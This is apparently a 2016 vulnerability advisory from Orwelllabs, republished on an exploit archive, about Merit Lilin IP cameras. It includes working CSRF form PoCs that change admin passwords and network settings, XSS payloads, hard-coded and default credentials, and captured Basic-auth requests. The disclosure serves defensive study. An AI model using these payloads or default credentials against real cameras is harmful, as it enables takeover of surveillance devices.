Merit Lilin IP Cameras – Multiple Vulnerabilities

  • 作者： Orwelllabs
    日期： 2016-04-29
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/39746/
  • _ _ _ _ _ _ _ _ _ _
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( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 )
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securityadivisory
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By sitting in the alcove, and keeping well back,
Winston was able to remain outside the range of the telescreen...


* Adivisory Information
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(+) Title: Merit Lilin IP Cameras Multiple Vulnerabilities
(+) Vendor: Merit Lilin Enterprise Co., Ltd.
(+) Research and Advisory: Orwelllabs
(+) Adivisory URL:
http://www.orwelllabs.com/2016/04/merit-lilin-ip-cameras-multiple_27.html
(+) OLSA-ID: OLSA-2016-04-28
(+) Affected Versions: L series products with firmware 1.4.36/1.2.02, OS
Version: Linux 2.6.38/Linux 2.6.32
(+) IoT Attack Surface: Device Administrative
Interface/Authentication/Authorization
(+) Owasp IoTTop10: I1, I2
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


* Adivisory Overview
--+---------------------------------------------+------+--------------------------------------------
id| Vulnerability Title | Rank |Attack Surface
--+---------------------------------------------+------+--------------------------------------------
1 | Multiple Cross-site Request Forgery |I1| Insecure Web Interfaces
2 | Multiple Cross-site Scripting/HTML Injection|I1| Insecure Web
Interfaces
3 | Hard-coded credentials |I1| Insecure Web Interfaces
4 | Cleartext sensitive data |I1| Insecure Web Interfaces
5 | Weak Passwords/Known credentials |I1| Insecure Web Interfaces
6 | Account lockout |I1| Insecure Web Interfaces
7 | Poorly Protected Credentials |I2| Insufficient
Authentication/Authorization
--+---------------------------------------------+------+--------------------------------------------


Vendor Background
=================
LILIN, is a global IP video manufacturer of IP video cameras, recording
devices, and software with over 30 years of experience.


1. Multiple Cross-site Request Forgery
======================================
Merit LILIN IP Cameras are prone to multiple cross-site request forgery
vulnerabilities.


(+) Technical Details and PoCs:
-------------------------------
# Basic >> System >> User

> Changing 'admin' password to 'w!nst0nSm!th'

<html>
<!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC -->
<body>
<form action="
http://xxx.xxx.xxx.xxx/apply2.cgi?action=useredit&user_seq=1&user_account=admin&user_password=w!nst0nSm!th&user_priority=254&user_group=0
">
<input type="submit" value="Submit form" />
</form>
</body>
</html>

# Basic >> Network >> DDNS
> change DDNS information (user/hostname/password)

<html>
<!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC -->
<body>
<form action="
http://xxx.xxx.xxx.xxx/apply.cgi?action=ddns_apply&next_page=ddns.asp&ddns_type=0&ddns_flag=1&ddns_account=Winston&ddns_pwd=pass&ddns_hostname=smithwmachine&ddns_new_pwd=&ddns_wanip=
">
<input type="submit" value="Submit form" />
</form>
</body>
</html>


# SNMP
> change community/user/pass/pripass/v3rouser/etc.

<html>
<!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC -->
<body>
<form action="
http://xxx.xxx.xxx.xxx/snmp?snmpenable=0&v12rwcommunity=public&v12rocommunity=private&v3user=admin&v3authpass=password&v3pripass=w!nst0nSm!th&v3rwuser=public&v3rouser=private
">
<input type="submit" value="Submit form" />
</form>
</body>
</html>


# Basic >> Network >> SIP
> change sip_domain_server/sipreg_username/sipreg_password/sip_port=/etc.

<html>
<!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC -->
<body>
<form action="
http://xxx.xxx.xxx.xxx/apply.cgi?action=sip_apply&next_page=sip.asp&voip_flag=1&sip_domain_server=lilintw.ddnsipcam.com&sipreg_username=admin&sipreg_password=pass&sipreg_expires=0&sip_port=5060&audiortp_port=7078&videortp_port=9078
">
<input type="submit" value="Submit form" />
</form>
</body>
</html>



2. Multiple Cross-site Scripting/HTML Injection
====================-==========================
Merit Lilin IP Cameras are prone to multiple cross-site scripting
vulnerabilities.

Technical Details and PoCs:
---------------------------

[SAMBA] Advance >> System >> SAMBA Service
------------------------------------------
%- Script: apply.cgi
%- affected parameters:

(+) action
(+) SambaRecordState
(+) SAMBA_OSD
(+) SAMBARecordOption2
(+) SAMBARecordFormat
(+) SAMBAPreRecordTime
(+) SAMBAServer
(+) SAMBAServerPort
(+) SAMBAServerAccount
(+) SAMBAServerPassword
(+) SAMBAServerDirectory

%- [ *** XSS *** ] Payload(1) used:
123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_Password:%22%29%20/%3E

%- URL: http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS ***
]&SambaRecordState=[ *** XSS *** ]&SAMBA_OSD=[ *** XSS ***
]&SAMBARecordOption2=[ *** XSS *** ]&SAMBARecordFormat=[ *** XSS ***
]&SAMBAPreRecordTime=[ *** XSS *** ]&SAMBAServer=[ *** XSS ***
]&SAMBAServerPort=[ *** XSS *** ]&SAMBAServerAccount=[ *** XSS ***
]&SAMBAServerPassword=[ *** XSS *** ]&SAMBAServerDirectory=[ *** XSS *** ]


[General] -> Basic >> System >> General
---------------------------------------
- Affected script: apply.cgi
- affected parameters:

(+) action
(+) next_page
(+) SAMBAServerDirectory

%- [ *** XSS *** ] Payload(2) used:
%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

%- URL http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS *** ]&next_page=[
*** XSS ***
]&CAM_NAME=LR6122&ACTIVEX_OSD_NAME=LR6122&CAM_OSD=0&TIMER_OSD=0&ACTIVEX_OSD_ENABLE=0&ACTIVEX_MODE=0


[HTTP POST Service] -> Advance >> Event >> HTTP POST Service
------------------------------------------------------------
- Affected script: apply.cgi
- affected parameters:

(+) AM_HTTP_JPEG
(+) next_page*-*
(+) HTTPPostPort*-*

%- [ *** XSS *** ] Payload used:
123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_Password:%22%29%20/%3E
*-* Payload(2)

%- URL:
http://xxx.xxx.xxx.xxx/apply.cgi?action=httppost_apply&next_page=httppost.asp&HTTPServer=192.168.0.2&HTTPPostPort=56082&HTTPAccount=LILIN&HTTPPassword=control4&AM_HTTP_JPEG=[
*** XSS *** ]


3. Hard-coded credentials
=========================
This application stores hard-coded credentials in html code.

Technical Details and PoCs:
---------------------------

(+) GET -> http://xxx.xxx.xxx.xxx/new/index.htm
HTML Source code:

<script>
var g_ScreenMode = GetCookie('ScreenMode');
if(g_ScreenMode==null || g_ScreenMode=='' || g_ScreenMode==' ')
{
g_ScreenMode = 1;
SetCookie('ScreenMode', 1);
}
var g_AD_OSD_FLAG = GV('0','0');
//Profileno,Width,Height,Type,ScreenSwitch,Resolution,Cmd
var g_CtrlInfo = new Ctrl_ProfileInfo('',0,0,'',g_ScreenMode,'','');
var g_AD_RATE = Number('0');
var g_video_port = Number('0');
var g_spook_port = Number('554');
var g_httpd_auth_account = 'admin'; <<<<<---- user
var g_httpd_auth_passwd= 'pass'; <<<<<---- pass
var g_encode_mode = Number('0');
var g_profile00_fps_dwell = 1000/Number('15');
var g_profile01_fps_dwell = 1000/Number('5');
var g_profile02_fps_dwell = 1000/Number('25');
var g_profile03_fps_dwell = 1000/Number('0');
var g_ACTIVEX_OSD_ENABLE = Number('0');
var g_title_name = 'LR6122';
var g_CAM_OSD = Number('0');
var g_TIMER_OSD = Number('0');

 [... Snip ...]


(+) GET -> http://xxx.xxx.xxx.xxx/new/no_sd_file.htm
HTML source code:

[... Snip ...]
//http://192.168.3.162/sdlist?dirlist=0
//http://192.168.3.225/sdlist?filelist=2012081001
//var g_AllDir =
"2012080901,2012080902,2012080903,2012080904,2012080905,2012080906:2012081001,2012081002:2012081101,2012081111";
//var g_AllFiles =
"20120809010124.avi,20120809010234.avi,20120809010334.avi,20120809010434.avi,20120809010534.avi,20120809010643.avi";
var g_httpd_auth_account = GV('admin','admin'); <<<<<---- here
var g_httpd_auth_passwd = GV('pass','pass'); <<<<<---- here
[... Snip ...]


4. Cleartext sensitive data
===========================
Everything is trasmite over HTTP, including credentials,
like this, when an administrador "submmit" the Samba configuration form
(cleartext everywhere).

Technical Details and PoCs:
---------------------------

GET
/apply.cgi?action=sambarec_apply&SambaRecordState=0&SAMBA_OSD=0&SAMBARecordOption2=0&SAMBARecordFormat=0&SAMBAPreRecordTime=5&SAMBAServer=192.168.0.100&SAMBAServerPort=5000&SAMBAServerAccount=admin&SAMBAServerPassword=pass&SAMBAServerDirectory=/Public
HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46cGFzcw==
Connection: keep-alive


5. Weak Default Credentials/Known credentials
=============================================
The vast maiority of these devices remain with default credential
admin:pass (cameras)/admin:1111 (NVR) and costumers are not obligated to
change it during initial setup. The best

6. Account Lockout
==================
There is no control to prevent brute force attacks and to lockout an
account after X failed login attempts.

I1.Impact
---------
Insecure web interfaces can result in data loss or corruption, lack of
accountability, or denial of access and can lead to complete device
takeover.


7. Poorly Protected Credentials
===============================
An attacker in the same network is able to capture and decode the
credentials as they aren't trasmited over HTTPs and are protected using
just Base64 encoding.

Technical Details and PoCs:
---------------------------

> GET Request of) Authentication Process

GET /new/setup.htm HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: O|orwell/labs,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://xxx.xxx.xxx.xxx/new/setup.htm
Cookie: lang=0; ScreenMode=O-Orw3lll@bs; profileno=0; uimode=1
Connection: keep-alive
Authorization: Basic YWRtaW46cGFzcw==


Affected products
=================
L series with firmware 1.4.36/1.2.02, OS Version: Linux 2.6.38/Linux 2.6.32.

LB1022X
LR7224X
LR7228X
LR7424X
LR7428X
LR7722X
LR7022
LR7922
LR6122X
LR6022X
LR2322X
LR2122
LR312
LR832
LR2522
LD6122X
LD2322X
LD2122
LD2222

*Once this is related with a old bad design its probably that a large range
of products are affected by reported issues.


Timeline
++++++++
2016-03-23: First attemp to contact Vendor
2016-04-22: Request #13617 "Lilin Products Vulnerabilities" created
2016-04-23: Attemp to contact vendor
2016-04-25: Vendor response (ask for details)
2016-04-27: According to the Vendor these issues are already know and will
be remediated in the future.
2016-04-28: Full disclosure


About Orwelllabs
++++++++++++++++
Orwelllabs is an independent security research lab interested in IoT, what
means embedded devices and all its components like web applications, network,
mobile applications and all surface areas prone to attack. Orwelllabs aims
to study, learn and produce some intelligence around this vast and
confusing big picture called smart cities. We have special appreciation for
devices designed to provide security to these highly technological cities,
also known as Iost (Internet of Things Security).



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